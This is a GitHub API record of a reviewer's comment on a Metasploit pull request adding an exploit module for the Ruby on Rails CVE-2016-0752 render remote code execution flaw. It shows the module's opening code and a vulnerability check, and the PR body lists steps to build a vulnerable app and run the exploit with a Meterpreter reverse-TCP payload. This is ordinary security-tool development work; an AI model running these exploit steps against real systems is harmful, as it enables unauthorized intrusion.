{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/82823366","pull_request_review_id":3703468,"id":82823366,"diff_hunk":"@@ -0,0 +1,246 @@\n+require 'msf/core'\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Exploit::Remote::HttpServer\n+  include Msf::Exploit::EXE\n+  include Msf::Exploit::FileDropper\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',\n+      'Description'    => %q{\n+        This module exploits a remote code execution vulnerability in the explicit render\n+        method when leveraging user parameters.\n+        This module has been tested across multiple versions of Ruby on Rails.\n+        The technique used by this module requires the specified\n+        endpoint to be using dynamic render paths, such as the following example:\n+\n+        def show\n+          render params[:id]\n+        end\n+\n+        Also, the vulnerable target will need a POST endpoint for the TempFile upload, this\n+        can literally be any endpoint. This module doesnt use the log inclusion method of\n+        exploitation due to it not being universal enough. Instead, a new code injection\n+        technique was found and used whereby an attacker can upload temporary image files\n+        against any POST endpoint and use them for the inclusion attack. Finally, you only\n+        get one shot at this if you are testing with the builtin rails server, use caution.\n+      },\n+      'Author'         =>\n+        [\n+          'mr_me <mr_me@offensive-security.com>',      # necromanced old bug & discovered new vector rce vector\n+          'John Poulin (forced-request)'               # original render bug finder\n+        ],\n+      'References'  =>\n+        [\n+          [ 'CVE', '2016-0752'],\n+          [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'],        # rails patch\n+          [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'],  # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016\n+          [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'],                     # John's original exploit\n+        ],\n+      'License'        => MSF_LICENSE,\n+      'Platform'    => ['linux', 'bsd'],\n+      'Arch'        => ARCH_X86,\n+      'Payload'        =>\n+        {\n+          'DisableNops' => true,\n+        },\n+      'Privileged'     => false,\n+      'Targets'     =>\n+        [\n+          [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ]                                                   # Other versions are also affected\n+        ],\n+      'DefaultTarget' => 0,\n+      'DisclosureDate' => 'Oct 16 2016'))\n+    register_options(\n+      [\n+        Opt::RPORT(3000),\n+        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', \"/users\"]),\n+        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),\n+      ], self.class)\n+  end\n+\n+  def check\n+\n+    # this is the check for the dev environment\n+    res = send_request_cgi({\n+      'uri'       =>  normalize_uri(datastore['URIPATH'], \"%2f\"),\n+      'method'    =>  'GET',\n+    }, 60)\n+\n+    # if the page controller is dynamically rendering, its probably vuln\n+    if res and res.body =~ /render params/\n+      return Exploit::CheckCode::Vulnerable","path":"modules/exploits/multi/http/rails_dynamic_render_code_exec.rb","position":null,"original_position":76,"commit_id":"fc5be2d2c69244119b068a73e63e28969f68dea0","original_commit_id":"3c3f424a4d27a6e3c28fd4ca9ee250c433ca1132","user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"body":"Just ```CheckCode::Appears```.","created_at":"2016-10-11T15:43:36Z","updated_at":"2016-10-11T15:43:36Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/7429#discussion_r82823366","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/82823366"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/7429#discussion_r82823366"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429","id":88744868,"html_url":"https://github.com/rapid7/metasploit-framework/pull/7429","diff_url":"https://github.com/rapid7/metasploit-framework/pull/7429.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/7429.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7429","number":7429,"state":"open","locked":false,"title":"Added CVE-2016-0752 module","user":{"login":"stevenseeley","id":1301421,"avatar_url":"https://avatars.githubusercontent.com/u/1301421?v=3","gravatar_id":"","url":"https://api.github.com/users/stevenseeley","html_url":"https://github.com/stevenseeley","followers_url":"https://api.github.com/users/stevenseeley/followers","following_url":"https://api.github.com/users/stevenseeley/following{/other_user}","gists_url":"https://api.github.com/users/stevenseeley/gists{/gist_id}","starred_url":"https://api.github.com/users/stevenseeley/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stevenseeley/subscriptions","organizations_url":"https://api.github.com/users/stevenseeley/orgs","repos_url":"https://api.github.com/users/stevenseeley/repos","events_url":"https://api.github.com/users/stevenseeley/events{/privacy}","received_events_url":"https://api.github.com/users/stevenseeley/received_events","type":"User","site_admin":false},"body":"This is a module for CVE-2016-0752.\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works:\r\n\r\n- [ ] `sudo apt-get install -y curl git`\r\n- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1`\r\n- [ ] `source ~/.rvm/scripts/rvm`\r\n- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y`\r\n- [ ] `gem install rails -v 4.0.8`\r\n- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn`\r\n- [ ] `cd pwn`\r\n- [ ] `bundle install`\r\n- [ ] Edit the config/routes.rb file and add `post \"users/:id\", to: 'user#show'`\r\n\r\nBasically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.\r\n\r\n- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production`\r\n\r\nNow, run the exploit:\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/multi/http/rails_dynamic_render_code_exec`\r\n- [ ] `set RHOST XXX.XXX.XXX.XXX`\r\n- [ ] `set payload linux/x86/meterpreter/reverse_tcp`\r\n- [ ] `set LHOST XXX.XXX.XXX.XXX`\r\n- [ ] `check`\r\n- [ ] **Verify** that the target is vulnerable\r\n- [ ] `exploit`\r\n- [ ] **Verify** that you get a meterpreter shell\r\n\r\n<img width=\"764\" alt=\"screen shot 2016-10-10 at 5 55 12 pm\" src=\"https://cloud.githubusercontent.com/assets/1301421/19253727/f1e27e82-8f12-11e6-9bf7-36b2de2b51f3.png\">\r\n","created_at":"2016-10-10T22:57:18Z","updated_at":"2016-10-11T15:43:36Z","closed_at":null,"merged_at":null,"merge_commit_sha":"9a9b5eb7afb41626f324f5d0c0cb9ab8933e7fe6","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7429/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fc5be2d2c69244119b068a73e63e28969f68dea0","head":{"label":"stevenseeley:rails","ref":"rails","sha":"fc5be2d2c69244119b068a73e63e28969f68dea0","user":{"login":"stevenseeley","id":1301421,"avatar_url":"https://avatars.githubusercontent.com/u/1301421?v=3","gravatar_id":"","url":"https://api.github.com/users/stevenseeley","html_url":"https://github.com/stevenseeley","followers_url":"https://api.github.com/users/stevenseeley/followers","following_url":"https://api.github.com/users/stevenseeley/following{/other_user}","gists_url":"https://api.github.com/users/stevenseeley/gists{/gist_id}","starred_url":"https://api.github.com/users/stevenseeley/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stevenseeley/subscriptions","organizations_url":"https://api.github.com/users/stevenseeley/orgs","repos_url":"https://api.github.com/users/stevenseeley/repos","events_url":"https://api.github.com/users/stevenseeley/events{/privacy}","received_events_url":"https://api.github.com/users/stevenseeley/received_events","type":"User","site_admin":false},"repo":{"id":17930179,"name":"metasploit-framework","full_name":"stevenseeley/metasploit-framework","owner":{"login":"stevenseeley","id":1301421,"avatar_url":"https://avatars.githubusercontent.com/u/1301421?v=3","gravatar_id":"","url":"https://api.github.com/users/stevenseeley","html_url":"https://github.com/stevenseeley","followers_url":"https://api.github.com/users/stevenseeley/followers","following_url":"https://api.github.com/users/stevenseeley/following{/other_user}","gists_url":"https://api.github.com/users/stevenseeley/gists{/gist_id}","starred_url":"https://api.github.com/users/stevenseeley/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stevenseeley/subscriptions","organizations_url":"https://api.github.com/users/stevenseeley/orgs","repos_url":"https://api.github.com/users/stevenseeley/repos","events_url":"https://api.github.com/users/stevenseeley/events{/privacy}","received_events_url":"https://api.github.com/users/stevenseeley/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/stevenseeley/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/stevenseeley/metasploit-framework","forks_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/forks","keys_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/events","assignees_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/merges","archive_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/stevenseeley/metasploit-framework/deployments","created_at":"2014-03-20T03:58:32Z","updated_at":"2016-01-15T00:09:07Z","pushed_at":"2016-10-11T13:32:18Z","git_url":"git://github.com/stevenseeley/metasploit-framework.git","ssh_url":"git@github.com:stevenseeley/metasploit-framework.git","clone_url":"https://github.com/stevenseeley/metasploit-framework.git","svn_url":"https://github.com/stevenseeley/metasploit-framework","homepage":"http://www.metasploit.com/","size":275202,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"b447f32a284bc7732cd69415897ae7f34723b11f","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2016-10-11T05:57:14Z","pushed_at":"2016-10-11T14:40:10Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1415869,"stargazers_count":6792,"watchers_count":6792,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":4487,"mirror_url":null,"open_issues_count":304,"forks":4487,"open_issues":304,"watchers":6792,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/7429"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7429"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7429/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7429/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fc5be2d2c69244119b068a73e63e28969f68dea0"}}}}
{"actor":{"display_login":"wvu-r7"}}